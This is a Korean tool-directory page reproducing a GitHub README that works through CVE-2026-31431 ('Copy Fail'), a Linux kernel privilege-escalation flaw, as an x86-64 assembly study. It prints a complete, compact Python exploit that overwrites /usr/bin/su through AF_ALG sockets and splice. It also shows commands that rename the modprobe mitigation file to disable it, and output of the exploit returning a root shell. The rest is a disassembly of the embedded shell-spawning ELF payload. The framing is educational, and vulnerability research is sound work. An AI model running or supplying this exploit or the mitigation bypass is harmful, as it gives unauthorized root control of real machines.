Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
asm-copyfail — CVE-2026-31431 (Copy Fail) — x86-64 어셈블리 분석 및 개발 | x86-64 어셈블리 분석 및 개발 | Kitploit
도구/GitHubGitHub/pithase/asm-copyfail
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringShellcodeCTFLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
GitHubpithase/asm-copyfail
3544개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

asm-copyfail

CVE-2026-31431 (Copy Fail) — x86-64 어셈블리 분석 및 개발 | x86-64 어셈블리 분석 및 개발

저장소 보기

CVE-2026-31431 (Copy Fail) — x86-64 어셈블리어 분석 및 개발

Theori에 게시된 소스 코드를 기반으로, 완전히 순수 어셈블리 언어(외부 라이브러리 없음)로 변환할 때까지 여러 연습을 수행할 것입니다.```python #!/usr/bin/env python3

Archivo: copyfail.py

import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")

## 테스트 환경

이 실습은 다음 머신에서 진행합니다.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 24.04.4 LTS
Release:        24.04
Codename:       noble

> $ uname -rm
6.19.4-061904-generic x86_64

취약점 검증

Python 프로그램을 실행하여 시스템이 취약한지 확인합니다. 오류가 발생하면 취약하지 않은 것이고, sh 쉘이 열리면 취약한 것입니다.```bash

$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory

### 완화 조치 비활성화

이 머신에서는 보안 자동 업데이트를 통해 완화 조치가 다운로드되었기 때문에 실패했습니다. 이를 테스트하기 위해 완화 조치가 있는 파일의 이름을 변경하여 방어를 낮춥니다.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false

# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak

프로그램을 다시 테스트하면 이제 쉘을 반환하고 우리가 root임을 확인합니다.```bash

$ python3 copyfail.py

id

uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)

exit

### 보호 재활성화

연습이 끝난 후, 다음을 실행하여 보호를 다시 활성화합니다:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches

1부 — 파이썬 익스플로잇에서 최적화된 어셈블리 페이로드까지

압축된 페이로드 분석

먼저 분석해야 할 것은 zlib로 압축된 문자열이 무엇인지입니다. 이를 위해 파이썬 프로그램 decompress.py를 만들어 압축을 풀고 output.bin 파일을 생성합니다.```python

Archivo: decompress.py

import zlib

hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"

data = zlib.decompress(bytes.fromhex(hex_data))

with open("output.bin", "wb") as f: f.write(data)

print(f"Archivo generado: output.bin ({len(data)} bytes)")

파일 유형을 실행하고 분석합니다.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)

> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

ELF 조사

이제 우리는 그것이 ELF 64-bit LSB executable 파일이라는 것을 알고 있으니, 조사해 보겠습니다.```bash

$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0

There are no sections in this file.

There are no section groups in this file.

Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000

There is no dynamic section in this file.

There are no relocations in this file. No processor specific unwind information to decode

Dynamic symbol information is not available for displaying symbols.

No version information found in this file.

ELF 구조는 **120바이트**를 차지합니다: **ELF 헤더** (64바이트) + **프로그램 헤더** (56바이트). 기계어 코드는 120번째 바이트(0x78)부터 시작하며, 이는 **진입점 주소: 0x400078**과 일치합니다.

### 코드 디스어셈블

**진입점 주소: 0x400078**을 확보했으므로, 이제 코드 디스어셈블을 시작할 수 있습니다.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin

output.bin:     file format binary


Disassembly of section .data:

0000000000000078 <.data+0x78>:
  78:   31 c0                   xor    eax,eax
  7a:   31 ff                   xor    edi,edi
  7c:   b0 69                   mov    al,0x69
  7e:   0f 05                   syscall
  80:   48 8d 3d 0f 00 00 00    lea    rdi,[rip+0xf]        # 0x96
  87:   31 f6                   xor    esi,esi
  89:   6a 3b                   push   0x3b
  8b:   58                      pop    rax
  8c:   99                      cdq
  8d:   0f 05                   syscall
  8f:   31 ff                   xor    edi,edi
  91:   6a 3c                   push   0x3c
  93:   58                      pop    rax
  94:   0f 05                   syscall
  96:   2f                      (bad)
  97:   62 69 6e 2f 73          (bad)
  9c:   68                      .byte 0x68
  9d:   00 00                   add    BYTE PTR [rax],al
  9f:   00                      .byte 0

objdump 매개변수

각 매개변수 설명:

  • -D — 전체 역어셈블(Disassemble All). 파일의 모든 내용을 역어셈블하며, 코드로 표시된 섹션뿐만 아니라 모두 포함합니다. 이 옵션이 없으면 -d는 .text 섹션만 역어셈블하는데, 이 파일은 ELF 섹션이 없으므로(순수 바이너리) 아무것도 표시되지 않습니다.
  • -b binary — 바이너리 형식. objdump에게 파일을 원시 데이터로 처리하도록 지시하며, ELF 헤더를 파싱하지 않습니다. 이 옵션이 없으면 objdump는 파일에서 ELF 헤더를 읽으려고 시도하고 실패하거나 잘못 역어셈블합니다.
  • -m i386:x86-64 — 머신 아키텍처. 역어셈블할 명령어 세트를 지정합니다. i386은 기본 제품군이고, :x86-64는 64비트 모드를 지정합니다. -b binary를 사용할 때 필요합니다. ELF 헤더가 없으면 objdump가 아키텍처를 알 수 없기 때문입니다. -m 없이는 i386(32비트)으로 가정하여 역어셈블이 잘못됩니다. lea rdi, [rip+0xf] 같은 64비트 명령어가 쓰레기로 디코딩됩니다.
  • -M intel — 구문 모드. AT&T 구문(mov $0x69, %al) 대신 Intel 구문(mov al, 0x69)을 사용합니다.
  • -z — 0 시퀀스 생략 비활성화. 이렇게 하면 0을 생략하지 않고 모두 표시합니다.
  • --start-address=0x78 — 오프셋 0x78(120바이트)부터 시작. 페이로드의 ELF 헤더와 프로그램 헤더를 건너뛰고 기계어 코드만 역어셈블합니다. 이 옵션이 없으면 헤더를 명령어로 역어셈블합니다.

요약: **-b binary**를 사용할 때는 **-m**이 필수입니다. objdump가 ELF 헤더 없이 아키텍처를 추론할 수 없기 때문입니다. 일반 ELF 파일( -b binary 없음)에서는 -m이 필요하지 않습니다. 아키텍처가 헤더의 e_machine에 있기 때문입니다.

이 경우 -z 매개변수가 중요합니다. 나중에 살펴보겠지만 0이 패딩으로 사용되며, 이 매개변수가 없으면 다음에 오는 내용을 표시하여 정확한 역어셈블 결과를 얻을 수 없습니다.```bash 9d: 00 00 add BYTE PTR [rax],al ...

### "/bin/sh" 문자열 식별
도구 다운로드